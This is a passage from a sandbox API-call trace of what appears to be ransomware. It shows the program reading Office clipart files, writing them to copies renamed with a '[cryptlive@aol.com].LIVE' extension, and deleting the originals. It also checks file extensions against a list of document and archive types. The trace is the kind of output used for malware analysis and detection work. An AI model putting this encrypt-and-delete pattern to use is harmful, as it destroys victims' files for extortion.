office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0135.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.931] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.931] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0135.932] GetLastError () returned 0x0 [0135.932] ReadFile (in: hFile=0x388, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x504a, lpOverlapped=0x0) returned 1 [0135.994] WriteFile (in: hFile=0x328, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5050, lpOverlapped=0x0) returned 1 [0135.995] ReadFile (in: hFile=0x388, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0135.995] WriteFile (in: hFile=0x328, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.995] SetEndOfFile (hFile=0x328) returned 1 [0136.000] CloseHandle (hObject=0x328) returned 1 [0136.000] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.000] SetEndOfFile (hFile=0x388) returned 1 [0136.010] CloseHandle (hObject=0x388) returned 1 [0136.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0136.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.020] lstrlenW (lpString=".doc") returned 4 [0136.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.020] lstrlenW (lpString=".docx") returned 5 [0136.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.020] lstrlenW (lpString=".pdf") returned 4 [0136.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString=".xls") returned 4 [0136.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.021] lstrlenW (lpString=".xlsx") returned 5 [0136.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.021] lstrlenW (lpString=".ppt") returned 4 [0136.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString=".zip") returned 4 [0136.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.021] lstrlenW (lpString=".rar") returned 4 [0136.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString=".bz2") returned 4 [0136.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString=".7z") returned 3 [0136.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString=".dbf") returned 4 [0136.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString=".1cd") returned 4 [0136.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString=".jpg") returned 4 [0136.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.021] lstrlenW (lpString=".doc") returned 4 [0136.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString=".docx") returned 5 [0136.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.021] lstrlenW (lpString=".pdf") returned 4 [0136.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.021] lstrlenW (lpString=".xls") returned 4 [0136.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.022] lstrlenW (lpString=".xlsx") returned 5 [0136.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.022] lstrlenW (lpString=".ppt") returned 4 [0136.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.022] lstrlenW (lpString=".zip") returned 4 [0136.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.022] lstrlenW (lpString=".rar") returned 4 [0136.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.022] lstrlenW (lpString=".bz2") returned 4 [0136.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.022] lstrlenW (lpString=".7z") returned 3 [0136.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.022] lstrlenW (lpString=".dbf") returned 4 [0136.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.022] lstrlenW (lpString=".1cd") returned 4 [0136.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0136.022] lstrlenW (lpString=".jpg") returned 4 [0136.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.022] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0136.022] lstrlenW (lpString="BD10972_.GIF") returned 12 [0136.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.024] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20189) returned 1 [0136.024] CloseHandle (hObject=0x3b0) returned 1 [0136.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0136.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.025] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.025] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.025] GetLastError () returned 0x0 [0136.025] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4edd, lpOverlapped=0x0) returned 1 [0136.027] WriteFile (in: hFile=0x3a8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0136.028] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.028] WriteFile (in: hFile=0x3a8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.029] SetEndOfFile (hFile=0x3a8) returned 1 [0136.029] CloseHandle (hObject=0x3a8) returned 1 [0136.029] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.029] SetEndOfFile (hFile=0x3b0) returned 1 [0136.032] CloseHandle (hObject=0x3b0) returned 1 [0136.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0136.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.033] lstrlenW (lpString=".doc") returned 4 [0136.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.033] lstrlenW (lpString=".docx") returned 5 [0136.033] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.033] lstrlenW (lpString=".pdf") returned 4 [0136.033] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.033] lstrlenW (lpString=".xls") returned 4 [0136.033] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.033] lstrlenW (lpString=".xlsx") returned 5 [0136.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.033] lstrlenW (lpString=".ppt") returned 4 [0136.033] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.033] lstrlenW (lpString=".zip") returned 4 [0136.033] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.033] lstrlenW (lpString=".rar") returned 4 [0136.033] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.033] lstrlenW (lpString=".bz2") returned 4 [0136.033] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.033] lstrlenW (lpString=".7z") returned 3 [0136.033] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.034] lstrlenW (lpString=".dbf") returned 4 [0136.034] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.034] lstrlenW (lpString=".1cd") returned 4 [0136.034] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.034] lstrlenW (lpString=".jpg") returned 4 [0136.034] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.034] lstrlenW (lpString=".doc") returned 4 [0136.034] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.034] lstrlenW (lpString=".docx") returned 5 [0136.034] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.034] lstrlenW (lpString=".pdf") returned 4 [0136.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.035] lstrlenW (lpString=".xls") returned 4 [0136.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.035] lstrlenW (lpString=".xlsx") returned 5 [0136.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.035] lstrlenW (lpString=".ppt") returned 4 [0136.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.035] lstrlenW (lpString=".zip") returned 4 [0136.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.035] lstrlenW (lpString=".rar") returned 4 [0136.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.035] lstrlenW (lpString=".bz2") returned 4 [0136.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.035] lstrlenW (lpString=".7z") returned 3 [0136.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.035] lstrlenW (lpString=".dbf") returned 4 [0136.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.035] lstrlenW (lpString=".1cd") returned 4 [0136.035] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0136.035] lstrlenW (lpString=".jpg") returned 4 [0136.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.035] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0136.035] lstrlenW (lpString="BD19563_.GIF") returned 12 [0136.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.036] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20454) returned 1 [0136.036] CloseHandle (hObject=0x3b0) returned 1 [0136.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0136.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.036] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.036] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.039] GetLastError () returned 0x0 [0136.039] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0136.041] WriteFile (in: hFile=0x3a8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0136.132] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.132] WriteFile (in: hFile=0x3a8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.132] SetEndOfFile (hFile=0x3a8) returned 1 [0136.172] CloseHandle (hObject=0x3a8) returned 1 [0136.173] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.173] SetEndOfFile (hFile=0x3b0) returned 1 [0136.176] CloseHandle (hObject=0x3b0) returned 1 [0136.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0136.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.200] lstrlenW (lpString=".doc") returned 4 [0136.200] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.200] lstrlenW (lpString=".docx") returned 5 [0136.200] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.200] lstrlenW (lpString=".pdf") returned 4 [0136.200] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.200] lstrlenW (lpString=".xls") returned 4 [0136.200] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.200] lstrlenW (lpString=".xlsx") returned 5 [0136.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.200] lstrlenW (lpString=".ppt") returned 4 [0136.200] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.200] lstrlenW (lpString=".zip") returned 4 [0136.200] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.201] lstrlenW (lpString=".rar") returned 4 [0136.201] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.201] lstrlenW (lpString=".bz2") returned 4 [0136.201] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.201] lstrlenW (lpString=".7z") returned 3 [0136.201] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.201] lstrlenW (lpString=".dbf") returned 4 [0136.201] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.201] lstrlenW (lpString=".1cd") returned 4 [0136.201] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.201] lstrlenW (lpString=".jpg") returned 4 [0136.201] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.201] lstrlenW (lpString=".doc") returned 4 [0136.201] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.201] lstrlenW (lpString=".docx") returned 5 [0136.201] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.201] lstrlenW (lpString=".pdf") returned 4 [0136.201] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.201] lstrlenW (lpString=".xls") returned 4 [0136.201] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.201] lstrlenW (lpString=".xlsx") returned 5 [0136.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.201] lstrlenW (lpString=".ppt") returned 4 [0136.201] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.202] lstrlenW (lpString=".zip") returned 4 [0136.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.202] lstrlenW (lpString=".rar") returned 4 [0136.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.202] lstrlenW (lpString=".bz2") returned 4 [0136.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.202] lstrlenW (lpString=".7z") returned 3 [0136.202] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.202] lstrlenW (lpString=".dbf") returned 4 [0136.202] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.202] lstrlenW (lpString=".1cd") returned 4 [0136.202] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0136.202] lstrlenW (lpString=".jpg") returned 4 [0136.202] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.202] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.202] lstrlenW (lpString="BL00012_.WMF") returned 12 [0136.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.682] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9818) returned 1 [0136.682] CloseHandle (hObject=0x390) returned 1 [0136.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0136.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 